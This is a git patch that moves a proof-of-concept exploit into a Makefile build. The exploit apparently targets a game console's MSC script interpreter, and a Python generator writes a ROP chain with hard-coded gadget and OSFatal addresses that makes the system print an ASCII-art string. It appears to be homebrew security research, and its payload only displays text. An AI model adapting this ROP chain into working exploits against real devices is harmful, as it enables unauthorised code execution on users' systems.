From e55751d9084ba043f07c006c01222cbee1bc0db6 Mon Sep 17 00:00:00 2001 From: jam1garner Date: Fri, 18 Jan 2019 16:51:28 -0500 Subject: [PATCH] Move PoC to new build system --- kexploit/generate_rop.py | 5 +- poc/Makefile | 14 ++ poc/Scripts | 6 +- ...generate_string.py => generate_payload.py} | 4 +- poc/generate_rop.py | 74 +++++++++++ poc/mario.mscsb | Bin 2304 -> 0 bytes poc/{string.bin => payload.bin} | Bin poc/{script_0.txt => rop_setup.s} | 37 +----- poc/string.txt | 120 ------------------ 9 files changed, 98 insertions(+), 162 deletions(-) create mode 100644 poc/Makefile rename poc/{generate_string.py => generate_payload.py} (50%) create mode 100644 poc/generate_rop.py delete mode 100644 poc/mario.mscsb rename poc/{string.bin => payload.bin} (100%) rename poc/{script_0.txt => rop_setup.s} (88%) delete mode 100644 poc/string.txt diff --git a/kexploit/generate_rop.py b/kexploit/generate_rop.py index b52fc27..6b15185 100644 --- a/kexploit/generate_rop.py +++ b/kexploit/generate_rop.py @@ -16,7 +16,7 @@ def writeEnd(): script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend" """ -Example payload +Example payload (writeOSFatalPayload func) pushInt. 0xC00C650 pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal) @@ -50,6 +50,7 @@ pushInt. 0x01031618 #return address (OSFatal) """ +# Print out contents of payload as null terminated string def writeOSFatalPayload(): write32(LOAD_R3_ADDR) writePayloadAddress() @@ -63,7 +64,9 @@ def main(): global script with open('rop_setup.s', 'r') as f: script = f.read() + writeOSFatalPayload() + with open("main.s", 'w') as f: f.write(script) diff --git a/poc/Makefile b/poc/Makefile new file mode 100644 index 0000000..e435e49 --- /dev/null +++ b/poc/Makefile @@ -0,0 +1,14 @@ +all: exploit.mscsb + +clean: + rm -f exploit.mscsb payload.s main.s + +exploit.mscsb: payload.s Scripts main.s + python3 ../pymsc/asm.py + +payload.s: payload.bin + python3 generate_payload.py + +main.s: rop_setup.s + python3 generate_rop.py + diff --git a/poc/Scripts b/poc/Scripts index 8e613f9..7500d16 100644 --- a/poc/Scripts +++ b/poc/Scripts @@ -1,3 +1,3 @@ -:script_0.txt -string.txt -|mario.mscsb +:main.s +payload.s +|exploit.mscsb diff --git a/poc/generate_string.py b/poc/generate_payload.py similarity index 50% rename from poc/generate_string.py rename to poc/generate_payload.py index c7fed5f..329b782 100644 --- a/poc/generate_string.py +++ b/poc/generate_payload.py @@ -1,4 +1,4 @@ -with open('string.bin', 'rb') as stringFile: - with open('string.txt', 'w') as f: +with open('payload.bin', 'rb') as stringFile: + with open('payload.s', 'w') as f: for byte in stringFile.read(): print('byte %s' % hex(byte), file=f) diff --git a/poc/generate_rop.py b/poc/generate_rop.py new file mode 100644 index 0000000..6b15185 --- /dev/null +++ b/poc/generate_rop.py @@ -0,0 +1,74 @@ + +# Addresses +LOAD_R3_ADDR = 0x0C00C650 +OSFATAL_ADDR = 0x01031618 + +def write32(u32): + global script + script += f"pushInt. {hex(u32)}\n" + +def writePayloadAddress(): + global script + script += "pushVar. globalVar,mscScriptAddress\n" + +def writeEnd(): + global script + script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend" + +""" +Example payload (writeOSFatalPayload func) + +pushInt. 0xC00C650 +pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal) +pushInt. 0xBEEF0001 +pushInt. 0xBEEF0002 +pushInt. 0xBEEF0003 +pushInt. 0xBEEF0004 +pushInt. 0xBEEF0005 +pushInt. 0xBEEF0006 +pushInt. 0xBEEF0007 +pushInt. 0xBEEF0008 +pushInt. 0xBEEF0009 +pushInt. 0xBEEF000A +pushInt. 0xBEEF000B +pushInt. 0xBEEF000C +pushInt. 0xBEEF000D +pushInt. 0xBEEF000E +pushInt. 0xBEEF000F +pushInt. 0xBEEF0010 +pushInt. 0xBEEF0011 +pushInt. 0xBEEF0012 +pushInt. 0xBEEF0013 +pushInt. 0xBEEF0014 +pushInt. 0xBEEF0015 +pushInt. 0xBEEF0016 +pushInt. 0xBEEF0017 +pushInt. 0xBEEF0018 +pushInt. 0xBEEF0019 +pushInt. 0xBEEF001A +pushInt. 0x01031618 #return address (OSFatal) + +""" + +# Print out contents of payload as null terminated string +def writeOSFatalPayload(): + write32(LOAD_R3_ADDR) + writePayloadAddress() + for i in range(0x1A): + write32(0xBEEF0000 + i + 1) + write32(OSFATAL_ADDR) + writeEnd() + + +def main(): + global script + with open('rop_setup.s', 'r') as f: + script = f.read() + + writeOSFatalPayload() + + with open("main.s", 'w') as f: + f.write(script) + +if __name__ == "__main__": + main() diff --git a/poc/mario.mscsb b/poc/mario.mscsb deleted file mode 100644 index 2ed4688e9410ebaa884a16d13564d69898b28be5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2304 zcmeI!S8o(o0EXdjcU{)&-qr;h#(=R6#s-_-OfenPJBBg6cQ9=!34Nn4B>yAIMHC4M zAujV%a?3A3&U@BD$rZNv)nGMRS*yuvwpy%KYl_uo zwOdoIX;x%)SktW;)=aC@nq_ra-Byn^+nQtbT63*FtKXVu&9?@uL2H4v&{||Iww72+ zt!377YlXGaT4fDctF1NGT5Fv(Y^}F8SR1WP)@Eyqwbj~Yjab{Q9o9~3m$lp4W9_x} zS^KR6)b=o>(owd$c=dBCYMeCAv*}7s~wXRv$ ztsB-&>y~xf8n^CPcddKYed~dhvmRQHtjE?9>-V;VH25uTKXJlN{`rOzPvmPmU*?!d zykPbx2J}ZAe{6eMmz{V@NinDWo~1C8RZ9ALO+k0aFpZozmd5(4s&rFg^?l3MEy}b7Ud=zb;Z$Wl*vWih3`!^7xzTDOf(wD Zy>V``abFzwNB_OTgm;@E-f=!}{{RrMICB61 diff --git a/poc/string.bin b/poc/payload.bin similarity index 100% rename from poc/string.bin rename to poc/payload.bin diff --git a/poc/script_0.txt b/poc/rop_setup.s similarity index 88% rename from poc/script_0.txt rename to poc/rop_setup.s index e63e5a7..79a1bb2 100644 --- a/poc/script_0.txt +++ b/poc/rop_setup.s @@ -758,39 +758,4 @@ pushShort. 0x80 #Now we can overwrite the stack position with the one we calculated earlier to jump to the write position pushVar. globalVar,calculatedStackPosition -#Write ROP chain -pushInt. 0xC00C650 -pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal) -pushInt. 0xBEEF0001 -pushInt. 0xBEEF0002 -pushInt. 0xBEEF0003 -pushInt. 0xBEEF0004 -pushInt. 0xBEEF0005 -pushInt. 0xBEEF0006 -pushInt. 0xBEEF0007 -pushInt. 0xBEEF0008 -pushInt. 0xBEEF0009 -pushInt. 0xBEEF000A -pushInt. 0xBEEF000B -pushInt. 0xBEEF000C -pushInt. 0xBEEF000D -pushInt. 0xBEEF000E -pushInt. 0xBEEF000F -pushInt. 0xBEEF0010 -pushInt. 0xBEEF0011 -pushInt. 0xBEEF0012 -pushInt. 0xBEEF0013 -pushInt. 0xBEEF0014 -pushInt. 0xBEEF0015 -pushInt. 0xBEEF0016 -pushInt. 0xBEEF0017 -pushInt. 0xBEEF0018 -pushInt. 0xBEEF0019 -pushInt. 0xBEEF001A -pushInt. 0x01031618 #return address (OSFatal) - -#Execute ROP chain -exit - -#Dunno why but I figured I might as well put it here, should never hit this though -end \ No newline at end of file +#Write ROP Chain diff --git a/poc/string.txt b/poc/string.txt deleted file mode 100644 index 848a549..0000000 --- a/poc/string.txt +++ /dev/null @@ -1,120 +0,0 @@ -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x5f -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x5f -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0xa -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x20 -byte 0x20 -byte 0x20 -byte 0xa -byte 0x20 -byte 0x20 -byte 0x5f -byte 0x5f -byte 0x7c -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x5f -byte 0x5f -byte 0x20 -byte 0x5f -byte 0x7c -byte 0x20 -byte 0x7c -byte 0x5f -byte 0x5f -byte 0x20 -byte 0x20 -byte 0xa -byte 0x20 -byte 0x2f -byte 0x20 -byte 0x5f -byte 0x60 -byte 0x20 -byte 0x7c -byte 0x2f -byte 0x20 -byte 0x5f -byte 0x60 -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x27 -byte 0x5f -byte 0x20 -byte 0x5c -byte 0x20 -byte 0xa -byte 0x7c -byte 0x20 -byte 0x28 -byte 0x5f -byte 0x7c -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x28 -byte 0x5f -byte 0x7c -byte 0x20 -byte 0x7c -byte 0x20 -byte 0x7c -byte 0x5f -byte 0x29 -byte 0x20 -byte 0x7c -byte 0xa -byte 0x20 -byte 0x5c -byte 0x5f -byte 0x5f -byte 0x2c -byte 0x5f -byte 0x7c -byte 0x5c -byte 0x5f -byte 0x5f -byte 0x2c -byte 0x5f -byte 0x7c -byte 0x5f -byte 0x2e -byte 0x5f -byte 0x5f -byte 0x2f -byte 0x20 -byte 0x0